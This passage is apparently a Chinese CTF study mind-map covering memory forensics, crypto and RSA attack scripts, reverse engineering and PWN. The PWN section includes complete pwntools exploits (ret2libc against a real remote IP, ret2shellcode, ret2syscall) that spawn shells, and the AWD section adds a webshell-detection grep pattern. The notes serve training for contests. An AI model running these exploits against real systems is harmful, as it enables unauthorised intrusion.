显示进程权限 procdump 进程转储到一个可执行文件示例 pslist 按照EPROCESS列表打印所有正在运行的进程 psscan 进程对象池扫描 pstree 以树型方式打印进程列表 psxview 查找带有隐藏进程的所有进程列表 qemuinfo 转储 Qemu 信息 raw2dmp 将物理内存原生数据转换为windbg崩溃储格式 screenshot 基于GDI Windows的虚拟屏幕截图保存 servicediff Windows服务列表(ala Plugx) sessions _MM_SESSION_SPACE的详细信息列表(用户登录会话) shellbags 打印Shellbags信息 shimcache 解析应用程序兼容性Shim缓存注册表项 shutdowntime 从内存中的注册表信息获取机器关机时间 sockets 打印已打开套接字列表 sockscan TCP套接字对象池扫描 ssdt 显示SSDT条目 strings 物理到虚拟地址的偏移匹配(需要一些时间,带详细信息) svcscan Windows服务列表扫描 symlinkscan 符号链接对象池扫描 thrdscan 线程对象池扫描 threads 调查_ETHREAD 和_KTHREADs timeliner 创建内存中的各种痕迹信息的时间线 timers 打印内核计时器及关联模块的DPC truecryptmaster Recover 恢复TrueCrypt 7.1a主密钥 truecryptpassphrase 查找并提取TrueCrypt密码 truecryptsummary TrueCrypt摘要信息 unloadedmodules 打印卸载的模块信息列表 userassist 打印注册表中UserAssist相关信息 userhandles 转储用户句柄表 vaddump 转储VAD数据为文件 vadinfo 转储VAD信息 vadtree 以树形方式显示VAD树信息 vadwalk 显示遍历VAD树 ldrmodules 检测未链接的动态链接DLL lsadump 从注册表中提取LSA密钥信息(已解密) malfind 查找隐藏的和插入的代码 mbrparser 扫描并解析潜在的主引导记录(MBR) memdump 转储进程的可寻址内存 memmap 打印内存映射 messagehooks 桌面和窗口消息钩子的线程列表 moddump 转储内核驱动程序到可执行文件的示例 modscan 内核模块池扫描 modules 打印加载模块的列表 multiscan 批量扫描各种对象 mutantscan 对互斥对象池扫描 vboxinfo 转储Virtualbox信息(虚拟机) verinfo 打印PE镜像中的版本信息 vmwareinfo 转储VMware VMSS/VMSN 信息 volshell 内存镜像中的shell windows 打印桌面窗口(详细信息) wintree Z顺序打印桌面窗口树 wndscan 池扫描窗口站 yarascan 以Yara签名扫描进程或内核内存
镜像恢复
挂载一个.img文件
命令
losetup-f-Pattachment.img
作用
查看镜像内的文件
恢复.img文件
命令
extundelete--restore-allattachment.img
作用
生成一个恢复后的文件夹,在当前命令执行的文件夹下。可查看挂载无法看到的内容
CRYPTO
解题步骤
先观察题目给出的数据类型
不知道什么编码
ciphey
toolsfx
随波逐流
给一个py脚本或给一个文档
按照py脚本判断加密
识别算法特征
AES
DES
RSA
只要不是魔改的加密算法,就可以尝试使用工具求解
是魔改,需要找到对应脚本,求解
编码类型
ASCII 美国标准信息交换码
第一部分 (非打印字符)
0-32
空格,换行等等
第二部分 (可打印字符)
33-127
大、小写字母,数字、标点等
python相关函数
ord()
返回一个ASCII对应的十进制
chr()
返回一个十进制数对应的ASCII
一个字节表示一个字符
中文编码
类型
GB2312
GBK
GB18030
BIG5
使用两个字节代表一个汉字
Unicode
形式
后台编写使用
\U[Hex]: \U4e2d\U56fd \U+[Hex]: \U+4e2d\U+56fd
可在网页内自动解码
&#x[Hex]: 中国 &#[Dec]: 中国:
保存或传输时
UTF
UTF-8
UTF-16
UTF-32
Base64
形式
大小写字母,0-9,+,/共64个字符,以=为后缀
作用
将非ASCII字符转换成ASCII字符
分类
BASE16
BASE64
BASE85
URL (统一资源定位符)
形式
协议名://主机名:端口/路径
编码
%+16进制ASCII编码
KO18-R
加密类型
古典密码
加密后存在明文 (通过改变阅读顺序加密)
栅栏密码
原理:假设明文长10位把明文分成5个组,每组元素为2,就称之为2栏。 然后提取每组中的第1位元素,组成新的一行数据,每组的第2位元素组成第2行数据。 假设第一行数据为ABC,第二行数据为123,则密文为ABC123
曲路密码
原理:首先确定行数和列数,再将明文按从左到右,从上到下的顺序写入表中, 加密过程则是从该表右下方向至左上方向进行蛇形排列
列位移密码
原理:将明文按从左至右,从上至下的顺序写入表中,将表的列重新进行排序得出密文。
埃特巴什码
将A-Z倒序排列为Z-A,然后Z对应A,Y对应B,依次类推
换位密码
原理:把明文的位置进行调换从而得到密文
加密后不存在明文
变异凯撒
原理:仍然使用偏移进行加密,但偏移的值不一定为定值,每个字符的偏移值可能都不同,呈等差数列或其它形式。
解决思路:可打开ASCII码表,进行对照,然后得出偏移量的规律。
凯撒密码
原理:将明文按字母表进行偏移
特点:加密后不会影响明文长度
ROT13
原理:通过将字母表中的字母向后顺序移动13位进行加密,超过26位则回到1
R0T47
猪圈密码
原理:通过查表来进行加、解密
维吉尼亚密码
原理:使用一张字母经过偏移形成的表来进行加密,密钥为字母形式,通过查表进行解密
培根密码
A和B,五个为一组
波特密码
二进制,五个为一组
现代密码
md5
base系列
换表的base
DES
AES
三种密钥长度
RAS
原理
安全性:基于大整数难以分解
需要知道的变量
q和p
两个素数
e
e一般<phi_n,且与phi_n互质 会给出,或者爆破
c
肯定会给
phi_n
phi_n=(q-1)*(p-1)
n
n=q*p
d=gmpy2.invert(e,phi_n)
m
需要求出来
加密
m^e%n=c
pow(m,e,n)
解密
c^d%n=m
pow(c,d,n)
常规解法
给出p,q,c,e的值即可解出
import gmpy2 n=q*p phi_n=(q-1) *(p-1) d=gmpy2.invert(e,phi_n) print(pow(c,d,n))
攻击方法
低加密指数分解攻击
e=2把密码c开平方求解
m=gmpy2.isqrt(c)
开平方
gmpy2.iroot(a,b)
a为开方对象,b为开多少次根
返回一个元组,[结果,能否开尽ture/false]
print(libnum.ns2(m))
数字转字符串
e=2 Rabin加密中的N可被分解
def rabin_decrypt(c, p, q, e=2): n = p * q mp = pow(c, (p + 1) // 4, p) mq = pow(c, (q + 1) // 4, q) yp = gmpy2.invert(p, q) yq = gmpy2.invert(q, p) r = (yp * p * mq + yq * q * mp) % n rr = n - r s = (yp * p * mq - yq * q * mp) % n ss = n - s return (r, rr, s, ss)
生成的结果有4个,需要判断一下哪个是flag
n需要使用工具(yafu)分解
e=3 小明文攻击
特点:c很短
原理:在e很小且 m也很的条件下m^e%n可写为m^e=k*n+m,且k的值很小或等于0,所以直接c直接开N次方就可能解出
m=gmpy2.iroot(c+k*n,3)
k要进行爆破
完整payload
for k in range(0,20000000000): if gmpy2.iroot(c+k*n,3)[1]: m=gmpy2.iroot(c+k*n,3)[0] print(m) print(long_to_bytes(m)) break
模不互素/共享素数
一般会给n1和n2,gcd(n1,n2)可找到最大公因数从算出q,然后p=n//q
Roll按行加密
对第一行进行RSA解密,最后拼接
共模攻击
特点:给多个c多个e,但只给一个n,多考虑此方法
对同一明文的多次加密使用相同的模数和不同的公钥指数可能导致共模攻击。
payload
def rsa_gong_N_def(e1,e2,c1,c2,n): e1, e2, c1, c2, n=int(e1),int(e2),int(c1),int(c2),int(n) s = gmpy2.gcdext(e1, e2) s1 = s[1] s2 = s[2] if s1 < 0: s1 = - s1 c1 = gmpy2.invert(c1, n) elif s2 < 0: s2 = - s2 c2 = gmpy2.invert(c2, n) m = (pow(c1,s1,n) * pow(c2 ,s2 ,n)) % n return int(m)
低解密指数攻击(维纳攻击)
特点:e很大,求d
工具
rsa-wiener-attack中的exp.py
低加密指数广播攻击
满足条件
加密指数e非常小或不给
一份明文使用不同的模数n,相同的加密指数e进行多次加密
可以拿到每一份加密后的密文和对应的模数n、加密指数e
注意:数据是否是10进制
payload
c=[c1,c2,c3] n=[n1,n2,n3] #m^e res=crt(n,c)[0] #这个位置需要注意n,c的位置 m=gmpy2.iroot(res,e)[0] print(long_to_bytes(m))
爆破e
c_list=[c1,c2,c3] n_list=[n1,n2,n3] m_e=crt(n_list,c_list)[0] for i in range(2,20000000): m=long_to_bytes(gmpy2.iroot(m_e,i)[0]) if b'flag' in m or b'ctf' in m: print(m) break print(m)
p、q相邻
原理
x开方之后处于p和q中间,那么x的下一个素数就是q
特点P的下一个质数就是Q
费马分解
原理
特点:P和Q很近
Multi prime (中阶多因子 攻击方式)
如果n=p*p*q
phi_n=(p-1)*(q-1)*p
通用情况下:phi_n=p^(x-1) * q^(y-1) * (p-1)* (q-1)
一般情况下会给一个连乘的数,那么前一个数就可以当成p后一个数就当成q,然后套用公式x和y即为p和q的出现次数,出现次数一般会通过分解n来获得factor_list=libnum.factorize(n)
离散对数问题
pow(m,e,n)
求e
方法
sympy.discrete_log(模数,余数,底数)
标准payload,对于c=pow(m,e,n)求e
import sympy e=sympy.discrete_log(n,c,m)
举例
解:
payload=sympy.discrete_log(A,c1,k)
有限域攻击
工具
openssl
编码方式
.pem后缀的证书都是base64编码
.der 后缀的证书都是二进制格式
证书
.csr 后缀的文件是用于向ca申请签名的请求文件
.crt .cer 后缀的文件都是证书文件(编码方式不一定,有可能是.pem,也有可能是.der)
私钥
.key 后缀的文件是私钥文件
具体使用
查看OpenSSL版本和编译参数 version -a
生成RSA私钥: genrsa -out rsa_private_key.pem 1024
查看私钥内容 rsa -in rsa_private_key.pem -text -noout
利用私钥生成公钥 rsa -in rsa_private_key.pem -pubout -out rsa_public_key.pem
查看公钥内容 rsa -pubin -in rsa_public_key.pem
openssl rsa -pubin -in pubkey.pem -text -modulus
-modulus是将模数提取出来,相当于n
以文本格式输出公钥内容: rsa -pubin -in rsa_public_key.pem –text
不输出公钥内容: rsa -pubin -in rsa_public_key.pem -text -noout
openssl加密
解密
openssl enc -aes-256-cbc -d -in flag.txt.enc -out file.txt
加密
openssl enc -aes-256-cbc -in flag.txt -out file.txt.enc
分解n
yafu
用法:yafu-x64.exe factor(920139713)
z3
用于解方程组
非主流加密
颜文字加密
举例
゚ω゚ノ=/`m´)ノ~┻━┻//*´∇`*/['_'];o=(゚ー゚)=_=3;c=(゚Θ゚)=(゚ー゚)-(゚ー゚);(゚Д゚)=(゚Θ゚)=(o^_^o)/(o^_^o);(゚Д゚)={゚Θ゚:'_',゚ω゚ノ:((゚ω゚ノ==3)+'_')[゚Θ゚],゚ー゚ノ:(゚ω゚ノ+'_')[o^_^o-(゚Θ゚)],゚Д゚ノ:((゚ー゚==3)+'_')[゚ー゚]};(゚Д゚)[゚Θ゚]=((゚ω゚ノ==3)+'_')[c^_^o];(゚Д゚)['c']=((゚Д゚)+'_')[(゚ー゚)+(゚ー゚)-(゚Θ゚)];(゚Д゚)['o']=((゚Д゚)+'_')[゚Θ゚];(゚o゚)=(゚Д゚)['c']+(゚Д゚)['o']+(゚ω゚ノ+'_')[゚Θ゚]+((゚ω゚ノ==3)+'_')[゚ー゚]+((゚Д゚)+'_')[(゚ー゚)+(゚ー゚)]+((゚ー゚==3)+'_')[゚Θ゚]+((゚ー゚==3)+'_')[(゚ー゚)-(゚Θ゚)]+(゚Д゚)['c']+((゚Д゚)+'_')[(゚ー゚)+(゚ー゚)]+(゚Д゚)['o']+((゚ー゚==3)+'_')[゚Θ゚];(゚Д゚)['_']=(o^_^o)[゚o゚][゚o゚];(゚ε゚)=((゚ー゚==3)+'_')[゚Θ゚]+(゚Д゚).゚Д゚ノ+((゚Д゚)+'_')[(゚ー゚)+(゚ー゚)]+((゚ー゚==3)+'_')[o^_^o-゚Θ゚]+((゚ー゚==3)+'_')[゚Θ゚]+(゚ω゚ノ+'_')[゚Θ゚];(゚ー゚)+=(゚Θ゚);(゚Д゚)[゚ε゚]='\\';(゚Д゚).゚Θ゚ノ=(゚Д゚+゚ー゚)[o^_^o-(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ+'_')[c^_^o];(゚Д゚)[゚o゚]='\"';(゚Д゚)['_']((゚Д゚)['_'](゚ε゚+(゚Д゚)[゚o゚]+(゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+(o^_^o)+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚)+(゚Θ゚))+((゚ー゚)+(o^_^o))+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚)+(゚Θ゚))+((o^_^o)+(o^_^o))+(゚Д゚)[゚ε゚]+(゚Θ゚)+((o^_^o)+(o^_^o))+(o^_^o)+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚)+(゚Θ゚))+((゚ー゚)+(o^_^o))+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚)+(゚Θ゚))+(゚ー゚)+(゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+((゚ー゚)+(゚Θ゚))+(゚Д゚)[゚ε゚]+((゚ー゚)+(゚Θ゚))+((o^_^o)+(o^_^o))+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚)+(゚Θ゚))+(゚ー゚)+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚)+(゚Θ゚))+((゚ー゚)+(o^_^o))+(゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+((゚ー゚)+(o^_^o))+(゚Д゚)[゚ε゚]+((゚ー゚)+(゚Θ゚))+(c^_^o)+(゚Д゚)[゚ε゚]+(゚ー゚)+((o^_^o)-(゚Θ゚))+(゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+((o^_^o)+(o^_^o))+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚)+(゚Θ゚))+(゚ー゚)+(゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+(゚Θ゚)+(゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+((゚ー゚)+(o^_^o))+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚)+(o^_^o))+(o^_^o)+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚)+(゚Θ゚))+((o^_^o)-(゚Θ゚))+(゚Д゚)[゚ε゚]+(゚Θ゚)+((o^_^o)+(o^_^o))+(o^_^o)+(゚Д゚)[゚ε゚]+(゚Θ゚)+(o^_^o)+((゚ー゚)+(o^_^o))+(゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+(゚ー゚)+(゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+(゚Θ゚)+(゚Д゚)[゚ε゚]+(゚Θ゚)+(o^_^o)+((゚ー゚)+(o^_^o))+(゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+((o^_^o)+(o^_^o))+(゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+(゚Θ゚)+(゚Д゚)[゚ε゚]+(゚Θ゚)+(o^_^o)+((゚ー゚)+(o^_^o))+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚)+(゚Θ゚))+(c^_^o)+(゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+(゚Θ゚)+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚)+(゚Θ゚))+((゚ー゚)+(o^_^o))+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚)+(o^_^o))+((゚ー゚)+(゚Θ゚))+(゚Д゚)[゚ε゚]+(゚ー゚)+((o^_^o)-(゚Θ゚))+(゚Д゚)[゚ε゚]+((゚ー゚)+(゚Θ゚))+(゚Θ゚)+(゚Д゚)[゚ε゚]+((゚ー゚)+(o^_^o))+(o^_^o)+(゚Д゚)[゚o゚])(゚Θ゚))('_');
payload
复制到浏览器的console内运行得到明文
在线解密
http://hi.pcmoe.net/kaomoji.html
python的伪随机数
在生成随机数之前设置种子会导致每次生成的随机数都是一致的
举例
import random flag = 'xxxxxxxxxxxxxxxxxxxx' random.seed(1) l = [] for i in range(4): l.append(random.getrandbits(8)) result=[] for i in range(len(l)): random.seed(l[i]) for n in range(5): result.append(ord(flag[i*5+n])^random.getrandbits(8)) print(result) # result = [201, 8, 198, 68, 131, 152, 186, 136, 13, 130, 190, 112, 251, 93, 212, 1, 31, 214, 116, 244]
分析
在每次random.getrandbits(8))之前都会设置seed,这会导致random.getrandbits(8))的结果每次都一致,所以只需要跑出key即可
paylaod
import random flag ="" random.seed(1) l = [] for i in range(4): l.append(random.getrandbits(8)) key=[] for i in range(len(l)): random.seed(l[i]) for n in range(5): key.append(random.getrandbits(8)) print(key) # result = [201, 8, 198, 68, 131, 152, 186, 136, 13, 130, 190, 112, 251, 93, 212, 1, 31, 214, 116, 244] key=[135, 91, 149, 7, 215, 222, 193, 206, 108, 233, 219, 53, 164, 47, 181, 111, 123, 185, 25, 137] for i in range(len(result)): flag+=chr(result[i]^key[i]) print(flag)
取模逆运算
假设c=a%b已知,c和b,那么a可以得到算式:a=k*b+c。其中k是需要爆破的
举例
payload
import libnum s_box = 'qwertyuiopasdfghjkzxcvb123456#$' s = 'u#k4ggia61egegzjuqz12jhfspfkay' for k in range(5): b1=k for i in s[::-1]: b1 = b1*31+s_box.index(i) print(libnum.n2s(int(b1)))
RE
涉及语言
C语言
C++
C#
汇编
判断
JZ
算术指令
ADD
SUB
INC
DEC
资料转移
MOV
数据传送
PUSH
POP
XCH
XCHD
SWAP
逻辑指令
ANL
ORL
XRL
CLR
CPL
RL
RLC
RR
RRC
控制转移
JNC
JC
JNB
JB
JBC
LCALL
ACALL
NOP
空操作
涉及操作系统
linux
elf文件
windows
PE文件
算法识别
x86指令集
重要寄存器
解题步骤
查壳
ExeinfoPe
判断架构和位数
脱壳
upx
upx -d
分析
反编译
IDA
思路
如果没有main,则可能在_start()开始
shift+F12找核心关键字
flag
和flag有关的函数地址
secret
和加密有关,和密文有关
CTF
和main函数有关,flag有关的函数
good
对用户输入校验正确
wrong
对用户输入校验错误
以上没有,就找到main函数
校验机制
程序内存了flag,需要用户输入正确的flag
特征:strcmp()
程序没有直接存flag,而是存了对flag加密之后的内容
例如:base64换表
程序没有存值,仅在运行时候对用户输入进行校验
解法:动态分析
符号执行
用途:可以让程序找到适合题目限制条件的值
python下anrg
创建项目
proj=angr.project("程序路径")
初始化项目的入口地址
符号化输入初始化
获取符号执行求解器的返回值
安卓逆向、java逆向
类型
.apk
.class
反编译工具
jadx
ctrl+shift+f进行全局搜索
运行
雷电模拟器
加密算法特征
用途:知道了加密算法就可以利用现成工具去解
在16进制数中
在伪代码中
工具
安卓
jadx
IDA
PWN
方向
stack-栈
从高地址到低地址的数据结构
后进先出
原理:通过数据溢出从而覆盖程序的返回地址
ss -ntl
查看端口
socat
可以把本地程序映射到某端口,从而实现从网络访问
使用方法
socat tcp-l:8090,fork,reuseaddr exec:./你的程序
题目类型
ret2text
类型
原理:找到可溢出的变量,溢出后将返回地址指向后门函数的地址,即可getshell
需要传参
传参
32位程序
溢出之后直接跟函数地址+p32(0)(垃圾数据作为返回地址)+p32(正确参数)
不同情况的函数调用
call _system
没有返回值,不需要p32(0)
system()
有返回值,需要p32(0)
64位程序
溢出之后跟寄存器
需要执行多个函数
io.sendline(data+p32(函数地址)+p32(函数地址))
溢出覆盖变量
用于控制同一栈中的变量内容
offset=cyclic(溢出变量-目标变量大小)
offset=cyclic(0x30-0x4)payload=offset+p64(0x41348000)#将dd的值改为0x41348000
用于控制栈中的函数返回地址
offset=cyclic(溢出变量+目标变量大小)
offset=cyclic(0x30+0x4)payload=offset+p64(0x4006BE)#使用0x4006BE覆盖函数返回地址,跳转至目标函数执行
ret2libc
原理:在使用libc库动态链接的情况下,第一次调用函数时,程序会调用A函数的PLT表,获取GOT表中的A函数的绝对地址在第二次调用时,则会从PLT表中直接调用,主要目的是获取A函数的地址并减去A函数偏移地址,从而获取基址。再通过基址调用libc库的命令执行函数及参数,再利用溢出漏洞从而getshell
条件:在程序没有可用的代码片段时使用此方法
解题思路
找到程序中的溢出漏洞
利用溢出根据不同的传参机制进行函数调用
32位
参数存在栈上
64位
依次从rdi,rsi,rdx,rcx,r8,r9进行参数传输
获得基址
地址泄露
注意:泄露地址的函数必须在泄露之前就已经被调用过
原理:动态链接库的函数调用过一次,其地址就会从got表映射到plt表中
payload
io=remote("117.62.234.74",9334) ret=0x000000000040101a pop_rdi=0x0000000000401273 offset=cyclic(0x100+0x8) elf=ELF('/mnt/hgfs/gongxiang/dongming/pwn_course/pwn_course/pwn3') puts_got=elf.got["puts"] puts_plt=elf.plt["puts"] main=elf.sym["main"] payload=offset+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)#调用顺序不能更改 io.recvuntil("Start Your Input:") io.sendline(payload) puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b"\x00"))#接收64位地址的标准写法,不用改 print(hex(puts_addr))
用puts输出puts本身的地址,然后再用其减去puts的偏移,即可获得基址
payload
libc=LibcSearcher("puts",puts_addr) libc_base=puts_addr - libc.dump("puts")
在libc库中,通过基址+system()函数的偏移地址,从而调用system()函数,同时获得"sh"字符串的地址
payload
system=libc_base + libc.dump("system") sh= libc_base + libc.dump("str_bin_sh")
传递必要参数
64位
payload=offset+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
必须通过寄存器传值,传多个值需要通过ROPgadget找到连续的n个寄存器,连续传值
32位
payload=offset+p32(puts_got)+p32(0)+p32(puts_plt)+p64(main)
补位一个函数的返回地址,有时可不用
再次利用溢出漏洞getshell
payload
payload2=offset + p64(pop_rdi) + p64(sh) +p64(ret) +p64(system)io.sendline(payload2)
pop_rdi和ret的值通过ROPgadget获得
pop_rdi用于传参64们程序要求如此,ret是为栈对齐,否则可能会出错
64位完整payload
#encoding=utf-8 from pwn import * from LibcSearcher import * io=remote("117.62.234.74",9334) pop_rdi=0x0000000000401273#ROPgadget --binary pwn3 --only "pop|ret" ret=0x000000000040101a offset=cyclic(0x100+0x8) elf=ELF('/mnt/hgfs/gongxiang/dongming/pwn_course/pwn_course/pwn3') puts_got=elf.got["puts"] puts_plt=elf.plt["puts"] main=elf.sym["main"] payload=offset+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)#调用顺序不能更改 io.recvuntil("Start Your Input:") io.sendline(payload) puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b"\x00"))#接收地址的标准写法,不用改 print(hex(puts_addr)) libc=LibcSearcher("puts",puts_addr) libc_base=puts_addr - libc.dump("puts") system=libc_base + libc.dump("system") sh= libc_base + libc.dump("str_bin_sh") payload2=offset + p64(pop_rdi) + p64(sh) +p64(ret) +p64(system) io.sendline(payload2) io.interactive()
ret2shellcode
原理:在栈溢出的条件下,将shellcode写入栈变量,然后将返回地址再次指向栈顶,以运行shellcode
脚本
from pwn import * context(arch="i386",os="linux",log_level="debug")#32 #context(arch="AMD64",os="linux",log_level="debug")#64 p=process('./ret2shellcode') #shellcode.ljust(112, 'A') ret_addr=0x804A080 shellcode = asm(shellcraft.sh()) #badcode badcode=shellcode.ljust(112, 'a')#shellcode后面补齐112位 payload=badcode+p32(ret_addr) p.sendline(payload) p.interactive()
ret2syscall
原理:Linux的系统调用通过 int 80h 实现,用系统调用号来区分入口函数。可以理解为拼接成一个系统调用的栈在eax、ebx、ecx、edx中带入指定的参数拼接成关键的系统函数,最后在寻找int 0x80的地址。从而执行这些函数
脚本
from pwn import* context.log_level = 'debug' sh=process('./rop') elf = ELF("./rop") def debug(): gdb.attach(p) pause() #0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret #0x080bb196 : pop eax ; ret #0x08049421 : int 0x80 #.text:0806F230 int 80h ; LINUX - payload='a'*112+p32(0x0806eb90)+p32(0)+p32(0)+p32(0x80BE408)+p32(0x080bb196)+p32(0xb)+p32(0x806F230) sh.sendline(payload) sh.interactive()
任意地址读取
利用got地址转向shellcode地址,从而getshell
ROP
用法
搜索关键字
ROPgadget --binary 程序 --string "sh"
堆
liunx下的保护机制
canary
canary是返回地址之前的一段值,开启后会在程序开始时会记录一个值,当出现溢出时canary的值会发生变化,从而退出程序
设置关闭canary
gcc -fno-stack-protector -o test test.c
NX
意为No-exec,开启后堆栈不可执行
设置关闭NX
gcc -z execstack -o test test.c
ASLR/PIE
地址随机化,开启后,无法知道返回地址的具体值
设置关闭PIE
gcc -no-pie -o test test.c
做题步骤
查壳
checksec查看保护机制
canary:no canary found:缓冲区溢出
NX:开启,则不能进行ret2shellcode
PIE:开启,动态泄露函数地址; 未开启,静态获取函数地址
IDA代码审计
主要关注main函数的流程
查看接收用户输入的位置
判断是否有可利用的地址
system("/bin/sh")
system("sh")\x00
利用危险函数
gets()
函数本身未限制用户输入长度,可导致栈溢出
fgets()
read()
读取时,设置了过长的读取长度,导致栈溢出
system()
execv()
puts()
puts()出自身的地址
工具
pwntools
一图流
pwntools输出日志等级
log_level="debug"
连接
本地连接
process("file_path")
远程连接
io=remote(ip,port)(返回io字节流对象)
接收数据
io.recv(40)
意为接收40个字节
io.recvline()
按行接收数据以\n结束
io.recvline()
一次性接收多行数据
io.recvuntile(data)
当接到data就不接收了
发送数据
io.send(data)
发送data
io.sendline(data)
发送data的时候加上\n
io.sendafter(a,b)
当接收到a数据后,发送b的数据
保持连接
io.interactive()
一般在最末尾加上此条
打包和解包
pack
p32(data)
p64(data)
unpack
u32(data)
u64(data)
ELF()函数
elf=ELF("file_path")
可动态获取一些内容例,通过elf.sym["main"]
pwngdb
GDB指令
r
run运行程序
n
单步步过
ni
步入
ROPgadget
生成ROP链
--binary file_path --ropchain
查找字符串
ROPgadget --binary 程序 --string "sh"
搜索关键函数
ROPgadget --binary 程序 --only "pop|ret"
一图流
one_gadget
原理:通过找到当前程序中的动态链接库中的可执行函数,从而getshell。 优点是不需要设置/bin/sh字符串,但需要知道libc库
用法
one_gadget ./libc-2.27.so
LibSearcher
功能:快速定位目标程序使用的libc版本
一图流
glibc-all-in-one
一图流
功能:重新指定程序的库,以确保程序兼容当前系统
linux下checksec
checksec filename
学习方向
A方向
PWN+RE
B方向
WEB+MISC
AWD(攻击与防御)
攻击
web通用漏洞
防御
WAF
AWD-watchbird
文件监控
对用户的输入做截断
使用substr()函数进行截断
对用户的输入进行强制转换
比如使用intval()函数强制转换成int类型
使用addslashes()函数对特殊字符进行转义
使用trim()函数去除空格及空格后面字符
使用strip_tags()函数,去除标签
过滤所有文件中的一句话木马
find . -type f |xargs grep -E 'eval\(|system\(|assert\('
源码审计
D盾
seay
种类
AWD
PVP
AWD plus
PVE